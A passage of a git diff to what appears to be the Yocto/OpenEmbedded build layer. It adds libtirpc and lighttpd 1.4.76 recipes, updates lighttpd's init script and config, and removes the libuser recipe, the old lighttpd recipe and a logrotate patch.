index 0000000000..aa526e9e1c
--- /dev/null
+++ b/meta/recipes-extended/libtirpc/libtirpc_1.3.4.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Transport-Independent RPC library"
+DESCRIPTION = "Libtirpc is a port of Suns Transport-Independent RPC library to Linux"
+SECTION = "libs/network"
+HOMEPAGE = "http://sourceforge.net/projects/libtirpc/"
+BUGTRACKER = "http://sourceforge.net/tracker/?group_id=183075&atid=903784"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=f835cce8852481e4b2bbbdd23b5e47f3 \
+ file://src/netname.c;beginline=1;endline=27;md5=f8a8cd2cb25ac5aa16767364fb0e3c24"
+
+PROVIDES = "virtual/librpc"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.bz2 \
+ file://ipv6.patch \
+"
+UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/libtirpc/files/libtirpc/"
+UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)/"
+SRC_URI[sha256sum] = "1e0b0c7231c5fa122e06c0609a76723664d068b0dba3b8219b63e6340b347860"
+
+CVE_STATUS[CVE-2021-46828] = "fixed-version: fixed in 1.3.3rc1 so not present in 1.3.3"
+
+inherit autotools pkgconfig
+
+PACKAGECONFIG ??= "\
+ ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
+"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6"
+PACKAGECONFIG[gssapi] = "--enable-gssapi,--disable-gssapi,krb5"
+
+do_install:append() {
+ test -e ${D}${sysconfdir}/netconfig && chown root:root ${D}${sysconfdir}/netconfig
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libuser/libuser/0001-Check-for-issetugid.patch b/meta/recipes-extended/libuser/libuser/0001-Check-for-issetugid.patch
deleted file mode 100644
index 79756b9a07..0000000000
--- a/meta/recipes-extended/libuser/libuser/0001-Check-for-issetugid.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From d0537cb7f2dc5877700ad78dfd191515379d4edc Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 7 Jan 2016 02:22:51 +0000
-Subject: [PATCH 1/2] Check for issetugid()
-
-If secure version of getenv is not there then we can use
-issetugid() as aid to call getenv()
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- configure.ac | 1 +
- lib/config.c | 12 +++++++++++-
- 2 files changed, 12 insertions(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index 1ded1a2..ee19e1f 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -125,6 +125,7 @@ AC_TYPE_OFF_T
- AC_TYPE_SIZE_T
-
- AC_CHECK_FUNCS([__secure_getenv secure_getenv])
-+AC_CHECK_FUNCS([issetugid])
-
- # Modify CFLAGS after all tests are run (some of them could fail because
- # of the -Werror).
-diff --git a/lib/config.c b/lib/config.c
-index 29e7120..30f9daf 100644
---- a/lib/config.c
-+++ b/lib/config.c
-@@ -44,8 +44,10 @@
- # define safe_getenv(string) secure_getenv(string)
- #elif defined(HAVE___SECURE_GETENV)
- # define safe_getenv(string) __secure_getenv(string)
-+#elif defined(HAVE_ISSETUGID)
-+# define safe_getenv(string) safe_getenv_issetugid(string)
- #else
--# error Neither secure_getenv not __secure_getenv are available
-+# error None of secure_getenv, __secure_getenv, or issetugid is available
- #endif
-
- struct config_config {
-@@ -59,6 +61,14 @@ struct config_key {
- GList *values;
- };
-
-+static const char*
-+safe_getenv_issetugid(const char* name)
-+{
-+ if (issetugid ())
-+ return 0;
-+ return getenv (name);
-+}
-+
- /* Compare two section names */
- static int
- compare_section_names(gconstpointer a, gconstpointer b)
---
-2.7.0
-
diff --git a/meta/recipes-extended/libuser/libuser/0001-modules-files.c-parse_field-fix-string-formating-in-.patch b/meta/recipes-extended/libuser/libuser/0001-modules-files.c-parse_field-fix-string-formating-in-.patch
deleted file mode 100644
index 7c47df22e4..0000000000
--- a/meta/recipes-extended/libuser/libuser/0001-modules-files.c-parse_field-fix-string-formating-in-.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From a4857911ece5ebfcdef42aee4c070eb216f39597 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?An=C3=ADbal=20Lim=C3=B3n?= <anibal.limon@linux.intel.com>
-Date: Fri, 13 May 2016 11:40:13 -0500
-Subject: [PATCH] modules/files.c: parse_field fix string formating in
- g_warnings
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-[YOCTO #9547]
-
-Signed-off-by: Aníbal Limón <anibal.limon@linux.intel.com>
-
-Upstream-Status: Pending
----
- modules/files.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/modules/files.c b/modules/files.c
-index 4ef0a57..35eafc9 100644
---- a/modules/files.c
-+++ b/modules/files.c
-@@ -534,7 +534,7 @@ parse_field(const struct format_specifier *format, GValue *value,
- string, &err);
- if (ret == FALSE) {
- g_assert(err != NULL);
-- g_warning(lu_strerror(err));
-+ g_warning(lu_strerror(err), NULL);
- lu_error_free(&err);
- }
- return ret;
---
-2.1.4
-
diff --git a/meta/recipes-extended/libuser/libuser/0002-remove-unused-execinfo.h.patch b/meta/recipes-extended/libuser/libuser/0002-remove-unused-execinfo.h.patch
deleted file mode 100644
index 4bc0219f19..0000000000
--- a/meta/recipes-extended/libuser/libuser/0002-remove-unused-execinfo.h.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From 4b2f81f307ffeac12956e5c16e894e5ebb937ea5 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 7 Jan 2016 02:26:00 +0000
-Subject: [PATCH 2/2] remove unused execinfo.h
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- lib/error.c | 1 -
- 1 file changed, 1 deletion(-)
-
-diff --git a/lib/error.c b/lib/error.c
-index a5ec30a..443e601 100644
---- a/lib/error.c
-+++ b/lib/error.c
-@@ -18,7 +18,6 @@
- #include <config.h>
- #include <sys/types.h>
- #include <errno.h>
--#include <execinfo.h>
- #include <libintl.h>
- #include <stdarg.h>
- #include <stdlib.h>
---
-2.7.0
-
diff --git a/meta/recipes-extended/libuser/libuser_0.62.bb b/meta/recipes-extended/libuser/libuser_0.62.bb
deleted file mode 100644
index 1765346646..0000000000
--- a/meta/recipes-extended/libuser/libuser_0.62.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "user and group account administration library"
-DESCRIPTION = "The libuser library implements a standardized interface for manipulating and administering user \
-and group accounts"
-HOMEPAGE = "https://pagure.io/libuser"
-BUGTRACKER = "https://pagure.io/libuser/issues"
-
-LICENSE = "LGPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2 \
- file://lib/user.h;endline=19;md5=76b301f63c39fa992062395efbdc9558 \
- file://samples/testuser.c;endline=19;md5=3b87fa660fa3f4a6bb31d624afe30ba1"
-
-SECTION = "base"
-
-SRC_URI = "https://releases.pagure.org/libuser/libuser-${PV}.tar.xz \
- file://0001-Check-for-issetugid.patch \
- file://0002-remove-unused-execinfo.h.patch \
- file://0001-modules-files.c-parse_field-fix-string-formating-in-.patch \
- "
-
-SRC_URI[md5sum] = "63e5e5c551e99dc5302b40b80bd6d4f2"
-SRC_URI[sha256sum] = "a58ff4fabb01a25043b142185a33eeea961109dd60d4b40b6a9df4fa3cace20b"
-
-DEPENDS = "popt libpam glib-2.0 python3"
-
-inherit autotools gettext python3native python3-dir pkgconfig gtk-doc
-
-EXTRA_OEMAKE = "PYTHON_CPPFLAGS=-I${STAGING_INCDIR}/${PYTHON_DIR}${PYTHON_ABI}"
-
-PACKAGES += "${PN}-python "
-
-FILES_${PN}-python = "${PYTHON_SITEPACKAGES_DIR}"
-
diff --git a/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch b/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch
deleted file mode 100644
index f17bdce2c0..0000000000
--- a/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From 22afc5d9aaa215c3c87ba21c77d47da44ab3b113 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 26 Aug 2016 18:20:32 +0300
-Subject: [PATCH] Use pkg-config for pcre dependency instead of -config script.
-
-RP 2014/5/22
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- configure.ac | 16 ++++++++++++----
- 1 file changed, 12 insertions(+), 4 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 5383cec..c29a902 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -651,10 +651,18 @@ AC_ARG_WITH([pcre],
- )
- AC_MSG_RESULT([$WITH_PCRE])
-
--if test "$WITH_PCRE" != no; then
-- if test "$WITH_PCRE" != yes; then
-- PCRE_LIB="-L$WITH_PCRE/lib -lpcre"
-- CPPFLAGS="$CPPFLAGS -I$WITH_PCRE/include"
-+if test "$WITH_PCRE" != "no"; then
-+ PKG_CHECK_MODULES(PCREPKG, [libpcre], [
-+ PCRE_LIB=${PCREPKG_LIBS}
-+ CPPFLAGS="$CPPFLAGS ${PCREPKG_CFLAGS}"
-+ ], [
-+ AC_MSG_ERROR([pcre pkgconfig not found, install the pcre-devel package or build with --without-pcre])
-+ ])
-+
-+ if test x"$PCRE_LIB" != x; then
-+ AC_DEFINE([HAVE_LIBPCRE], [1], [libpcre])
-+ AC_DEFINE([HAVE_PCRE_H], [1], [pcre.h])
-+ AC_SUBST(PCRE_LIB)
- else
- AC_PATH_PROG([PCRECONFIG], [pcre-config])
- if test -n "$PCRECONFIG"; then
---
-2.15.0
-
diff --git a/meta/recipes-extended/lighttpd/lighttpd/lighttpd b/meta/recipes-extended/lighttpd/lighttpd/lighttpd
index bf89a60b7d..f369dce42c 100644
--- a/meta/recipes-extended/lighttpd/lighttpd/lighttpd
+++ b/meta/recipes-extended/lighttpd/lighttpd/lighttpd
@@ -4,11 +4,16 @@ PATH=/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/usr/sbin/lighttpd
NAME=lighttpd
DESC="Lighttpd Web Server"
-OPTS="-f /etc/lighttpd.conf"
+OPTS="-f /etc/lighttpd/lighttpd.conf"
+
+configtest() {
+ "$DAEMON" $OPTS -tt || exit 1
+}
case "$1" in
start)
echo -n "Starting $DESC: "
+ configtest
start-stop-daemon --start -x "$DAEMON" -- $OPTS
echo "$NAME."
;;
@@ -17,16 +22,26 @@ case "$1" in
start-stop-daemon --stop -x "$DAEMON"
echo "$NAME."
;;
- restart|force-reload)
+ restart)
echo -n "Restarting $DESC: "
+ configtest
start-stop-daemon --stop -x "$DAEMON"
sleep 1
start-stop-daemon --start -x "$DAEMON" -- $OPTS
echo "$NAME."
;;
+ reload|force-reload)
+ echo -n "Reloading $DESC: "
+ configtest
+ killall -USR1 "${DAEMON##*/}"
+ echo "$NAME."
+ ;;
+ configtest)
+ configtest
+ ;;
*)
N=/etc/init.d/$NAME
- echo "Usage: $N {start|stop|restart|force-reload}" >&2
+ echo "Usage: $N {start|stop|restart|reload|force-reload|configtest}" >&2
exit 1
;;
esac
diff --git a/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf b/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf
index 6e8402d242..47a6c93349 100644
--- a/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf
+++ b/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf
@@ -16,8 +16,6 @@ server.modules = (
# "mod_redirect",
# "mod_alias",
"mod_access",
-# "mod_cml",
-# "mod_trigger_b4_dl",
# "mod_auth",
# "mod_status",
# "mod_setenv",
@@ -27,11 +25,9 @@ server.modules = (
# "mod_evhost",
# "mod_userdir",
# "mod_cgi",
-# "mod_compress",
# "mod_ssi",
-# "mod_usertrack",
# "mod_expire",
-# "mod_secdownload",
+# "mod_deflate",
# "mod_rrdtool",
# "mod_webdav",
"mod_accesslog" )
@@ -47,9 +43,6 @@ server.errorlog = "/www/logs/lighttpd.error.log"
index-file.names = ( "index.php", "index.html",
"index.htm", "default.htm" )
-## set the event-handler (read the performance section in the manual)
-# server.event-handler = "freebsd-kqueue" # needed on OS X
-
# mimetype mapping
mimetype.assign = (
".pdf" => "application/pdf",
@@ -115,7 +108,6 @@ mimetype.assign = (
#### accesslog module
accesslog.filename = "/www/logs/access.log"
-debug.log-request-handling = "enable"
@@ -127,10 +119,6 @@ debug.log-request-handling = "enable"
# of the document-root
url.access-deny = ( "~", ".inc" )
-$HTTP["url"] =~ "\.pdf$" {
- server.range-requests = "disable"
-}
-
##
# which extensions should not be handle via static-file transfer
#
@@ -177,6 +165,7 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
#dir-listing.activate = "enable"
## enable debugging
+#debug.log-request-header-on-error = "enable"
#debug.log-request-header = "enable"
#debug.log-response-header = "enable"
#debug.log-request-handling = "enable"
@@ -194,8 +183,9 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
#server.groupname = "wwwrun"
#### compress module
-#compress.cache-dir = "/tmp/lighttpd/cache/compress/"
-#compress.filetype = ("text/plain", "text/html")
+#deflate.cache-dir = "/tmp/lighttpd/cache/compress/"
+#deflate.mimetypes = ("text/plain", "text/html")
+#deflate.allowed-encodings = ("gzip")
#### proxy module
## read proxy.txt for more info
@@ -227,7 +217,8 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
#### SSL engine
#ssl.engine = "enable"
-#ssl.pemfile = "server.pem"
+#ssl.pemfile = "/path/to/fullchain.pem"
+#ssl.privkey = "/path/to/privkey.pem"
#### status module
#status.status-url = "/server-status"
@@ -291,19 +282,6 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
#setenv.add-request-header = ( "TRAV_ENV" => "mysql://user@host/db" )
#setenv.add-response-header = ( "X-Secret-Message" => "42" )
-## for mod_trigger_b4_dl
-# trigger-before-download.gdbm-filename = "/home/weigon/testbase/trigger.db"
-# trigger-before-download.memcache-hosts = ( "127.0.0.1:11211" )
-# trigger-before-download.trigger-url = "^/trigger/"
-# trigger-before-download.download-url = "^/download/"
-# trigger-before-download.deny-url = "http://127.0.0.1/index.html"
-# trigger-before-download.trigger-timeout = 10
-
-## for mod_cml
-## don't forget to add index.cml to server.indexfiles
-# cml.extension = ".cml"
-# cml.memcache-hosts = ( "127.0.0.1:11211" )
-
#### variable usage:
## variable name without "." is auto prefixed by "var." and becomes "var.bar"
#bar = 1
@@ -328,4 +306,4 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
#var.a=1
# include other config file fragments from lighttpd.d subdir
-include_shell "find /etc/lighttpd.d -maxdepth 1 -name '*.conf' -exec cat {} \;"
+include "/etc/lighttpd.d/*.conf"
diff --git a/meta/recipes-extended/lighttpd/lighttpd/lighttpd.service b/meta/recipes-extended/lighttpd/lighttpd/lighttpd.service
deleted file mode 100644
index 66a907aa17..0000000000
--- a/meta/recipes-extended/lighttpd/lighttpd/lighttpd.service
+++ /dev/null
@@ -1,12 +0,0 @@
-[Unit]
-Description=Lightning Fast Webserver With Light System Requirements
-After=network.target
-
-[Service]
-ExecStartPre=@SBINDIR@/lighttpd -t -f @SYSCONFDIR@/lighttpd.conf
-ExecStart=@SBINDIR@/lighttpd -D -f @SYSCONFDIR@/lighttpd.conf
-ExecReload=@BASE_BINDIR@/kill -HUP $MAINPID
-
-[Install]
-WantedBy=multi-user.target
-
diff --git a/meta/recipes-extended/lighttpd/lighttpd_1.4.48.bb b/meta/recipes-extended/lighttpd/lighttpd_1.4.48.bb
deleted file mode 100644
index 3c4444cf42..0000000000
--- a/meta/recipes-extended/lighttpd/lighttpd_1.4.48.bb
+++ /dev/null
@@ -1,85 +0,0 @@
-SUMMARY = "Lightweight high-performance web server"
-HOMEPAGE = "http://www.lighttpd.net/"
-BUGTRACKER = "http://redmine.lighttpd.net/projects/lighttpd/issues"
-
-LICENSE = "BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=e4dac5c6ab169aa212feb5028853a579"
-
-SECTION = "net"
-RDEPENDS_${PN} = "lighttpd-module-dirlisting \
- lighttpd-module-indexfile \
- lighttpd-module-staticfile"
-RRECOMMENDS_${PN} = "lighttpd-module-access \
- lighttpd-module-accesslog"
-
-SRC_URI = "http://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-${PV}.tar.xz \
- file://index.html.lighttpd \
- file://lighttpd.conf \
- file://lighttpd \
- file://lighttpd.service \
- file://0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch \
- "
-
-SRC_URI[md5sum] = "1e3a9eb5078f481e3a8a1d0aaac8c3c8"
-SRC_URI[sha256sum] = "0f8ad5aac7529d7b948b9d7e8cd0b4a9e177309d85d6bf6516e28e6e40d74f36"
-
-PACKAGECONFIG ??= "openssl pcre zlib \
- ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)} \
-"
-
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6"
-PACKAGECONFIG[mmap] = "--enable-mmap,--disable-mmap"
-PACKAGECONFIG[libev] = "--with-libev,--without-libev,libev"
-PACKAGECONFIG[mysql] = "--with-mysql,--without-mysql,mariadb"
-PACKAGECONFIG[ldap] = "--with-ldap,--without-ldap,openldap"
-PACKAGECONFIG[attr] = "--with-attr,--without-attr,attr"
-PACKAGECONFIG[valgrind] = "--with-valgrind,--without-valgrind,valgrind"
-PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl"
-PACKAGECONFIG[krb5] = "--with-krb5,--without-krb5,krb5"
-PACKAGECONFIG[pcre] = "--with-pcre,--without-pcre,libpcre"
-PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib"
-PACKAGECONFIG[bzip2] = "--with-bzip2,--without-bzip2,bzip2"
-PACKAGECONFIG[fam] = "--with-fam,--without-fam,gamin"
-PACKAGECONFIG[webdav-props] = "--with-webdav-props,--without-webdav-props,libxml2 sqlite3"
-PACKAGECONFIG[webdav-locks] = "--with-webdav-locks,--without-webdav-locks,util-linux"
-PACKAGECONFIG[gdbm] = "--with-gdbm,--without-gdbm,gdbm"
-PACKAGECONFIG[memcache] = "--with-memcached,--without-memcached,libmemcached"
-PACKAGECONFIG[lua] = "--with-lua,--without-lua,lua5.1"
-
-EXTRA_OECONF += "--enable-lfs"
-
-inherit autotools pkgconfig update-rc.d gettext systemd
-
-INITSCRIPT_NAME = "lighttpd"
-INITSCRIPT_PARAMS = "defaults 70"
-
-SYSTEMD_SERVICE_${PN} = "lighttpd.service"
-
-do_install_append() {
- install -d ${D}${sysconfdir}/init.d ${D}${sysconfdir}/lighttpd.d ${D}/www/pages/dav
- install -m 0755 ${WORKDIR}/lighttpd ${D}${sysconfdir}/init.d
- install -m 0644 ${WORKDIR}/lighttpd.conf ${D}${sysconfdir}
- install -m 0644 ${WORKDIR}/index.html.lighttpd ${D}/www/pages/index.html
-
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/lighttpd.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SBINDIR@,${sbindir},g' \
- -e 's,@SYSCONFDIR@,${sysconfdir},g' \
- -e 's,@BASE_BINDIR@,${base_bindir},g' \
- ${D}${systemd_unitdir}/system/lighttpd.service
- #For FHS compliance, create symbolic links to /var/log and /var/tmp for logs and temporary data
- ln -sf ${localstatedir}/log ${D}/www/logs
- ln -sf ${localstatedir}/tmp ${D}/www/var
-}
-
-FILES_${PN} += "${sysconfdir} /www"
-
-CONFFILES_${PN} = "${sysconfdir}/lighttpd.conf"
-
-PACKAGES_DYNAMIC += "^lighttpd-module-.*"
-
-python populate_packages_prepend () {
- lighttpd_libdir = d.expand('${libdir}')
- do_split_packages(d, lighttpd_libdir, '^mod_(.*)\.so$', 'lighttpd-module-%s', 'Lighttpd module for %s', extra_depends='')
-}
diff --git a/meta/recipes-extended/lighttpd/lighttpd_1.4.76.bb b/meta/recipes-extended/lighttpd/lighttpd_1.4.76.bb
new file mode 100644
index 0000000000..f0fdda4190
--- /dev/null
+++ b/meta/recipes-extended/lighttpd/lighttpd_1.4.76.bb
@@ -0,0 +1,76 @@
+SUMMARY = "Lightweight high-performance web server"
+HOMEPAGE = "http://www.lighttpd.net/"
+DESCRIPTION = "Lightweight high-performance web server is designed and optimized for high performance environments. With a small memory footprint compared to other web-servers, effective management of the cpu-load, and advanced feature set (FastCGI, SCGI, Auth, Output-Compression, URL-Rewriting and many more)"
+BUGTRACKER = "http://redmine.lighttpd.net/projects/lighttpd/issues"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=e4dac5c6ab169aa212feb5028853a579"
+
+SECTION = "net"
+RDEPENDS:${PN} = "lighttpd-module-dirlisting"
+RRECOMMENDS:${PN} = "lighttpd-module-accesslog"
+
+SRC_URI = "http://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-${PV}.tar.xz \
+ file://index.html.lighttpd \
+ file://lighttpd.conf \
+ file://lighttpd \
+ "
+
+SRC_URI[sha256sum] = "8cbf4296e373cfd0cedfe9d978760b5b05c58fdc4048b4e2bcaf0a61ac8f5011"
+
+DEPENDS = "virtual/crypt"
+
+PACKAGECONFIG ??= "openssl pcre zlib \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)} \
+"
+
+PACKAGECONFIG[libev] = "-Dwith_libev=enabled,-Dwith_libev=disabled,libev"
+PACKAGECONFIG[mysql] = "-Dwith_mysql=enabled,-Dwith_mysql=disabled,mariadb"
+PACKAGECONFIG[ldap] = "-Dwith_ldap=enabled,-Dwith_ldap=disabled,openldap"
+PACKAGECONFIG[attr] = "-Dwith_xattr=true,-Dwith_xattr=false,attr"
+PACKAGECONFIG[openssl] = "-Dwith_openssl=true,-Dwith_openssl=false,openssl"
+PACKAGECONFIG[krb5] = "-Dwith_krb5=enabled,-Dwith_krb5=disabled,krb5"
+PACKAGECONFIG[pcre] = "-Dwith_pcre=pcre2,-Dwith_pcre=disabled,libpcre2"
+PACKAGECONFIG[zlib] = "-Dwith_zlib=enabled,-Dwith_zlib=disabled,zlib"
+PACKAGECONFIG[bzip2] = "-Dwith_bzip=enabled,-Dwith_bzip=disabled,bzip2"
+PACKAGECONFIG[webdav-props] = "-Dwith_webdav_props=enabled,-Dwith_webdav_props=disabled,libxml2 sqlite3"
+PACKAGECONFIG[webdav-locks] = "-Dwith_webdav_locks=enabled,-Dwith_webdav_locks=disabled,util-linux"
+PACKAGECONFIG[lua] = "-Dwith_lua=true,-Dwith_lua=false,lua"
+PACKAGECONFIG[zstd] = "-Dwith_zstd=enabled,-Dwith_zstd=disabled,zstd"
+
+inherit meson pkgconfig update-rc.d gettext systemd
+
+INITSCRIPT_NAME = "lighttpd"
+INITSCRIPT_PARAMS = "defaults 70"
+
+SYSTEMD_SERVICE:${PN} = "lighttpd.service"
+
+do_install:append() {
+ install -d ${D}${sysconfdir}/init.d ${D}${sysconfdir}/lighttpd ${D}${sysconfdir}/lighttpd.d ${D}/www/pages/dav
+ install -m 0755 ${WORKDIR}/lighttpd ${D}${sysconfdir}/init.d
+ install -m 0644 ${WORKDIR}/lighttpd.conf ${D}${sysconfdir}/lighttpd
+ install -m 0644 ${WORKDIR}/index.html.lighttpd ${D}/www/pages/index.html
+
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${S}/doc/systemd/lighttpd.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@SBINDIR@,${sbindir},g' \
+ -e 's,@SYSCONFDIR@,${sysconfdir},g' \
+ -e 's,@BASE_BINDIR@,${base_bindir},g' \
+ ${D}${systemd_system_unitdir}/lighttpd.service
+ #For FHS compliance, create symbolic links to /var/log and /var/tmp for logs and temporary data
+ ln -sf ${localstatedir}/log ${D}/www/logs
+ ln -sf ${localstatedir}/tmp ${D}/www/var
+}
+
+# bitbake.conf sets ${libdir}/${BPN}/* in FILES, which messes up the module split.
+# So we re-do the variable.
+FILES:${PN} = "${sysconfdir} /www ${sbindir}"
+
+CONFFILES:${PN} = "${sysconfdir}/lighttpd/lighttpd.conf"
+
+PACKAGES_DYNAMIC += "^lighttpd-module-.*"
+
+python populate_packages:prepend () {
+ lighttpd_libdir = d.expand('${prefix}/lib/lighttpd')
+ do_split_packages(d, lighttpd_libdir, r'^mod_(.*)\.so$', 'lighttpd-module-%s', 'Lighttpd module for %s', extra_depends='')
+}
diff --git a/meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch b/meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch
deleted file mode 100644
index 04cb588db1..0000000000
--- a/meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch
+++ /dev/null
@@ -1,151 +0,0 @@
-From 517cbff66c8bdbf455bc3b7c1a85a4f990d0f9a6 Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Tue, 17 Feb 2015 21:08:07 -0800
-Subject: [PATCH] Act as the "mv" command when rotate log
-
-Act as the "mv" command when rotate log, first rename, if failed, then
-read and write.
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
----
- logrotate.c | 72 ++++++++++++++++++++++++++++++++++++++++++++++++++-----------
- 1 file changed, 60 insertions(+), 12 deletions(-)
-
-diff --git a/logrotate.c b/logrotate.c
-index 4ad58d4..ba05884 100644
---- a/logrotate.c
-+++ b/logrotate.c
-@@ -1315,6 +1315,54 @@ static int findNeedRotating(struct logInfo *log, int logNum, int force)
- return 0;
- }
-
-+/* Act as the "mv" command, if rename failed, then read the old file and
-+ * write to new file. The function which invokes the mvFile will use
-+ * the strerror(errorno) to handle the error message, so we don't have
-+ * to print the error message here */
-+
-+int mvFile (char *oldName, char *newName, struct logInfo *log, acl_type acl)
-+{
-+ struct stat sbprev;
-+ int fd_old, fd_new, n;
-+ char buf[BUFSIZ];
-+
-+ /* Do the rename first */
-+ if (!rename(oldName, newName))
-+ return 0;
-+
-+ /* If the errno is EXDEV, then read old file, write newfile and
-+ * remove the oldfile */
-+ if (errno == EXDEV) {
-+ /* Open the old file to read */
-+ if ((fd_old = open(oldName, O_RDONLY)) < 0)
-+ return 1;
-+
-+ /* Create the file to write, keep the same attribute as the old file */
-+ if (stat(oldName, &sbprev))
-+ return 1;
-+ else {
-+ if ((fd_new = createOutputFile(newName,
-+ O_WRONLY | O_CREAT | O_TRUNC, &sbprev, acl, 0)) < 0 )
-+ return 1;
-+ }
-+
-+ /* Read and write */
-+ while ((n = read(fd_old, buf, BUFSIZ)) > 0)
-+ if (write(fd_new, buf, n) != n)
-+ return 1;
-+
-+ if ((close(fd_old) < 0) ||
-+ removeLogFile(oldName, log) ||
-+ (close(fd_new) < 0))
-+ return 1;
-+
-+ return 0;
-+ }
-+
-+ return 1;
-+}
-+
-+
- static int prerotateSingleLog(struct logInfo *log, int logNum,
- struct logState *state, struct logNames *rotNames)
- {
-@@ -1674,15 +1722,15 @@ static int prerotateSingleLog(struct logInfo *log, int logNum,
- }
-
- message(MESS_DEBUG,
-- "renaming %s to %s (rotatecount %d, logstart %d, i %d), \n",
-+ "moving %s to %s (rotatecount %d, logstart %d, i %d), \n",
- oldName, newName, rotateCount, logStart, i);
-
-- if (!debug && rename(oldName, newName)) {
-+ if (!debug && mvFile(oldName, newName, log, prev_acl)) {
- if (errno == ENOENT) {
- message(MESS_DEBUG, "old log %s does not exist\n",
- oldName);
- } else {
-- message(MESS_ERROR, "error renaming %s to %s: %s\n",
-+ message(MESS_ERROR, "error moving %s to %s: %s\n",
- oldName, newName, strerror(errno));
- hasErrors = 1;
- }
-@@ -1767,21 +1815,21 @@ static int rotateSingleLog(struct logInfo *log, int logNum,
- return 1;
- }
-
-- message(MESS_DEBUG, "renaming %s to %s\n", log->files[logNum],
-+ message(MESS_DEBUG, "moving %s to %s\n", log->files[logNum],
- tmpFilename);
-- if (!debug && !hasErrors && rename(log->files[logNum], tmpFilename)) {
-- message(MESS_ERROR, "failed to rename %s to %s: %s\n",
-+ if (!debug && !hasErrors && mvFile(log->files[logNum], rotNames->finalName, log, prev_acl)) {
-+ message(MESS_ERROR, "failed to move %s to %s: %s\n",
- log->files[logNum], tmpFilename,
- strerror(errno));
- hasErrors = 1;
- }
- }
- else {
-- message(MESS_DEBUG, "renaming %s to %s\n", log->files[logNum],
-+ message(MESS_DEBUG, "moving %s to %s\n", log->files[logNum],
- rotNames->finalName);
- if (!debug && !hasErrors &&
-- rename(log->files[logNum], rotNames->finalName)) {
-- message(MESS_ERROR, "failed to rename %s to %s: %s\n",
-+ mvFile(log->files[logNum], rotNames->finalName, log, prev_acl)) {
-+ message(MESS_ERROR, "failed to move %s to %s: %s\n",
- log->files[logNum], rotNames->finalName,
- strerror(errno));
- hasErrors = 1;
-@@ -2170,7 +2218,7 @@ static int rotateLogSet(struct logInfo *log, int force)
- return hasErrors;
- }
-
--static int writeState(const char *stateFilename)
-+static int writeState(struct logInfo *log, char *stateFilename)
- {
- struct logState *p;
- FILE *f;
-@@ -2322,7 +2370,7 @@ static int writeState(const char *stateFilename)
- fclose(f);
-
- if (error == 0) {
